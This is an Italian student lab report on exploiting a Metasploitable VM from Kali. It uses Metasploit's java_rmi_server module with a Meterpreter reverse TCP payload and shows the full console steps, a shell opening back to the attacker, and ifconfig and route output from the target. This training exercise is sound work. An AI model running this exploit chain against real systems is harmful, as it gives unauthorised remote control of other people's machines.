

Progetto Settimana 7

Oggi andremo a effettuare una sessione di hacking, tramite metasploit, verso la nostra macchina virtuale metasploitable.

Metasploit è uno strumento di pentesting ampiamente utilizzato, abbina l'exploit a un payload utile e adatto al compito da svolgere.

Un exploit è un programma che, a differenza di un malware, sfrutta una vulnerabilità già presente all'interno del software o hardware, riuscendo così a infiltrarsi.

Il payload è il vero e proprio codice nocivo che attacca il target. Riuscendo così a creare un varco da modo a l'host esterno di interagire direttamente con la macchina attaccata.

➡ Dopo aver avviato sia kali che metasploitable, ho verificato che le macchine comunicassero. Dopo ho effettuato una scansione con “nmap” del nostro target così da verificare quali porte fossero aperte. Ho avviato metasploit e ricercato un exploit adatto al nostro target, finita la ricerca, ho impostato solo l'ip del target da attaccare essendo l'unico campo obbligatorio vuoto.

```
root@kali: /home/kali
File Actions Edit View Help

View the full module info with the info, or info -d command.

msf6 exploit(multi/misc/java_rmi_server) > set rhosts 172.20.10.5
rhosts => 172.20.10.5
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):
```

Name	Current Setting	Required	Description
HTTPDELAY	10	yes	Time that the HTTP Server will wait for the payload request
RHOSTS	172.20.10.5	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	1099	yes	The target port (TCP)
SRVHOST	0.0.0.0	yes	The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT	8080	yes	The local port to listen on.
SSL	false	no	Negotiate SSL for incoming connections
SSLCert		no	Path to a custom SSL certificate (default is randomly generated)
URIPATH		no	The URI to use for this exploit (default is random)

```

Payload options (java/meterpreter/reverse_tcp):
```



Con il comando “exploit” ho fatto partire l'attacco, andato a buon fine, avviando così una sessione di shell tramite meterpreter. Sono riuscito così tramite il comando “ifconfig” a visualizzare la configurazione di rete della macchina attaccata, verificando l'effettivo collegamento.

```
root@kali: /home/kali

File Actions Edit View Help

msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 172.20.10.8:4444
[*] 172.20.10.5:1099 - Using URL: http://172.20.10.8:8080/QrfMnpCyCD0GY
[*] 172.20.10.5:1099 - Server started.
[*] 172.20.10.5:1099 - Sending RMI Header ...
[*] 172.20.10.5:1099 - Sending RMI Call ...
[*] 172.20.10.5:1099 - Replied to request for payload JAR
[*] Sending stage (58829 bytes) to 172.20.10.5
[*] Meterpreter session 1 opened (172.20.10.8:4444 → 172.20.10.5:56506) at 20
24-01-26 04:06:57 -0500

meterpreter > ifconfig

Interface 1
=====
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 172.20.10.5
IPv4 Netmask : 255.255.0.0
IPv6 Address : fe80::a00:27ff:fe9f:4e34
IPv6 Netmask : ::
```



In fine ho ricercato informazioni della tabella di routing con il comando “router”. Quest'ultima una tabella di dati, memorizzata in un router o in un host, che elenca le rotte di destinazione di una data rete e di ciascuna rotta presente. La tabella contiene informazioni sulla topologia della rete immediatamente circostante.

```
root@kali: /home/kali

File Actions Edit View Help

IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name      : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 172.20.10.5
IPv4 Netmask : 255.255.0.0
IPv6 Address : fe80::a00:27ff:fe9f:4e34
IPv6 Netmask : ::

meterpreter > route

IPv4 network routes
=====

Subnet      Netmask      Gateway      Metric      Interface
-----
127.0.0.1    255.0.0.0     0.0.0.0
172.20.10.5  255.255.0.0   0.0.0.0

IPv6 network routes
=====

Subnet      Netmask      Gateway      Metric      Interface
-----
::1         ::           ::
fe80::a00:27ff:fe9f:4e34  ::           ::
```